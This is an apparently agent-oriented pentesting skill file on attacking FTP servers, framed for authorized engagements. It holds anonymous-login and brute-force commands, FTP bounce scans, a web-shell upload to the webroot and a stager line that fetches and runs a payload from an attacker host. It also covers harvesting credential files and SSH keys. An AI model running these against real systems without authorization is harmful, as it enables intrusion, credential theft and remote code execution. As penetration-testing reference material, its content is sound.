pentesting-ftp

$npx mdskill add xalgord/xalgorix/pentesting-ftp

- Default port `21/tcp` (control), data on `20` (active) or negotiated high ports (passive); FileZilla admin on `14147`; FTPS may use `990`. - When `nmap`/banner shows `ftp`, `vsFTPd`, `ProFTPD`, `Pure-FTPd`, `FileZilla Server`, or a `220` greeting. - FTP is **plain-text** and uses `0x0d 0x0a` (CRLF) line endings, so `telnet`/`nc -C` work for manual interaction and the protocol can be abused for relay attacks.

SKILL.md

.github/skills/pentesting-ftpView on GitHub ↗
---
name: pentesting-ftp
description: Testing FTP services (default port 21, plus FileZilla admin 14147) for anonymous access, default/weak credentials, FTP bounce port scanning and protocol relay, writable webroot uploads, and dangerous vsFTPd/ProFTPD configuration during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- ftp
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting FTP (port 21)

## When to Use
- Default port `21/tcp` (control), data on `20` (active) or negotiated high ports (passive); FileZilla admin on `14147`; FTPS may use `990`.
- When `nmap`/banner shows `ftp`, `vsFTPd`, `ProFTPD`, `Pure-FTPd`, `FileZilla Server`, or a `220` greeting.
- FTP is **plain-text** and uses `0x0d 0x0a` (CRLF) line endings, so `telnet`/`nc -C` work for manual interaction and the protocol can be abused for relay attacks.

## Quick Enumeration
```bash
# Banner grab (plaintext)
nc -vn <IP> 21
telnet -n <IP> 21

# Grab TLS certificate if FTPS/AUTH TLS is offered
openssl s_client -connect <IP>:21 -starttls ftp

# Version + default scripts (runs ftp-anon, ftp-bounce, etc.)
sudo nmap -sV -p21 -sC -A <IP>
nmap --script ftp-* -p 21 <IP>

# Server capability/feature enumeration once connected
#   HELP  -> supported commands
#   FEAT  -> advertised features (AUTH TLS, MLST, REST STREAM, UTF8...)
#   STAT  -> version, configs, status
#   SYST  -> OS type
```

## Critical: Checks Most Often Missed
- **Anonymous login** — the #1 miss. Try `anonymous:anonymous`, `anonymous:<empty>`, and `ftp:ftp`.
  - How to CONFIRM: `nmap --script ftp-anon -p21 <IP>` reports "Anonymous FTP login allowed", or:
    ```bash
    ftp <IP>     # user: anonymous  pass: anonymous
    ftp> ls -a   # list ALL files including hidden ones
    ```
- **Default service-account creds** — check `ftp-betterdefaultpasslist.txt` from SecLists. XAMPP/ProFTPD often map FTP root to `/opt/lampp/htdocs`, so weak creds on `daemon`/`nobody` let you **upload a PHP web shell straight into the webroot**.
  - How to CONFIRM: log in, `PUT shell.php`, then request `http://<IP>/shell.php?cmd=id`.
- **FTP bounce (PORT/EPRT)** — the server can be told to open connections to arbitrary hosts/ports, enabling internal port scanning or protocol relay.
  - How to CONFIRM: `nmap -b anonymous:anonymous@<IP> -p- <internal_target>` or `nmap --script ftp-bounce -p21 <IP>`.
- **Writable anonymous upload** — `anon_upload_enable=YES` / `write_enable=YES` in vsftpd allows STOR/MKD by anonymous users.
  - How to CONFIRM: `ftp> put /tmp/test.txt` succeeds.
- **Notable CVEs / surfaces** to triage: ProFTPD mod_copy `SITE CPFR/CPTO` (CVE-2015-3306), vsFTPd 2.3.4 backdoor, BisonWare/Colorado/TitanFTP directory traversal (covered by the consoleless msf chain below).

## Workflow

### Step 1: Enumerate (version, config, capabilities)
```bash
sudo nmap -sV -p21 -sC <IP>
nc -vn <IP> 21
# After connecting, enumerate:
#   HELP ; FEAT ; STAT ; SYST
# Consoleless metasploit enumeration (version + anon + traversal modules)
msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS <IP>; set RPORT 21; run; exit'
msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS <IP>; set RPORT 21; run; exit'
```

### Step 2: Authenticate (anonymous, default, brute force)
```bash
# Anonymous
ftp <IP>             # anonymous / anonymous
ftp> binary          # set binary transfer
ftp> ls -a           # include hidden files
ftp> bye

# Browser / wget mirror
wget -m ftp://anonymous:anonymous@<IP>          # mirror all (passive)
wget -m --no-passive ftp://anonymous:anonymous@<IP>   # mirror if PASV disabled
wget -r --user="USER" --password="PASS" ftp://<IP>/   # creds with special chars

# Brute force (need a username; default lists in SecLists)
hydra -t 1 -l <Username> -P /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -vV <IP> ftp
medusa -h <IP> -u <Username> -P passwords.txt -M ftp
```

### Step 3: Exploit / Extract (download, upload, bounce, relay)
```bash
# lftp with forced FTPS, ignoring cert validation
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect <IP>
lftp <IP>:~> login <user> <pass>

# Upload a webshell when FTP root == webroot
ftp> put shell.php
# Trigger an architecture-aware stager via the shell (example):
#   shell.php?dmc=(wget -qO - http://<attacker>/.x/?x=x86 || curl http://<attacker>/.x/?x=x86)
#   it fetches a checksum-validated payload, chmod +x, and runs it (falls back to /tmp)

# FTP bounce port scan through the server
nmap -Pn -v -b anonymous:anonymous@<IP> -p 1-1024 127.0.0.1

# Protocol relay (PORT + RETR of a staged request file):
#   1. STOR a text file containing an HTTP/FTP request (lines use 0x0d 0x0a)
#   2. REST X to skip leading bytes you don't want sent
#   3. PORT <target,port> to connect to the arbitrary service
#   4. RETR <file> to push the saved request to that service
```

### Step 4: Post-access / pivot
- Pull `.env`, `config.php`, `wp-config.php`, SSH keys, and source from accessible directories for credential reuse.
- If FileZilla Server admin (`14147`) is reachable via a tunnel, connect with a blank password and create a new FTP user.
- Inspect config files for dangerous settings (see Key Concepts) and use any recovered creds against SSH/SMB/web.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **Active FTP** | Server initiates the data connection from port 20 back to the client (`PORT N+1`); blocked by client firewalls. |
| **Passive FTP** | Client initiates data connection to a server-chosen port after `PASV`; firewall-friendly. |
| **Anonymous access** | `anonymous`/`ftp` login with no real password; frequently world-readable, sometimes world-writable. |
| **FTP bounce** | Abuse of `PORT`/`EPRT` to make the server connect elsewhere — internal port scanning and protocol relay. |
| **vsFTPd danger settings** | `anonymous_enable`, `anon_upload_enable`, `anon_mkdir_write_enable`, `write_enable`, `no_anon_password` in `/etc/vsftpd.conf`. |
| **Webroot mapping** | XAMPP/ProFTPD mapping FTP root to `/opt/lampp/htdocs` turns an upload into a web shell. |
| **Web→FTP injection** | Double-URL-encoded `%0d%0a` (`%250d%250a`) sent by a web app to an FTP server enables arbitrary FTP actions. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **nmap NSE** | `ftp-anon`, `ftp-bounce`, `ftp-syst`, `ftp-vsftpd-backdoor`, `ftp-proftpd-backdoor` checks (run via `--script ftp-*`). |
| **ftp / lftp / wget** | Interactive client, scriptable FTPS client, recursive mirroring of shares. |
| **nc / telnet / openssl s_client** | Banner grab, manual command interaction, FTPS cert grab. |
| **hydra / medusa** | Credential brute force against the FTP login. |
| **Metasploit** | `scanner/ftp/anonymous`, `scanner/ftp/ftp_version`, traversal modules (bison/colorado/titanftp). |
| **netexec (nxc)** | `nxc ftp <IP> -u users -p passwords` for credential spraying. |
| **Config files** | `ftpusers`, `ftp.conf`, `proftpd.conf`, `/etc/vsftpd.conf` reveal access policy. |

## Common Scenarios
### Scenario 1: Anonymous read leads to source disclosure
`nmap --script ftp-anon` confirms anonymous login. `wget -m ftp://anonymous:anonymous@<IP>` mirrors the share, exposing `config.php` with database credentials that are reused on the web app and SSH.

### Scenario 2: Weak service creds → web shell
A ProFTPD/XAMPP host accepts `daemon:daemon`. FTP root maps to `htdocs`, so `put shell.php` lands in the webroot. Browsing `shell.php?cmd=id` yields RCE as the web user.

### Scenario 3: FTP bounce internal scan
An internet-facing FTP server allows `PORT`. Using `nmap -b anonymous:anonymous@<IP> -p- 10.0.0.5`, the tester maps an internal host's open ports through the FTP relay, bypassing the perimeter firewall.

## Output Format
```
## FTP Finding

**Service**: FTP
**Port**: 21/tcp (vsFTPd 3.0.3)
**Severity**: High
**Finding**: Anonymous login enabled with writable webroot
**Evidence**:
  - nmap ftp-anon: "Anonymous FTP login allowed (FTP code 230)"
  - `ftp anonymous@<IP>` -> `put shell.php` succeeded
  - http://<IP>/shell.php?cmd=id -> uid=33(www-data)
**Impact**: Unauthenticated file upload to the web root yields remote code execution as the web server user.
**Recommendation**:
  1. Disable anonymous access (`anonymous_enable=NO`) unless required.
  2. Never map the FTP root to a script-executable web directory.
  3. Set `write_enable=NO`/`anon_upload_enable=NO`; enforce strong, unique credentials.
  4. Require FTPS (AUTH TLS) and restrict access by source IP.
```

More from xalgord/xalgorix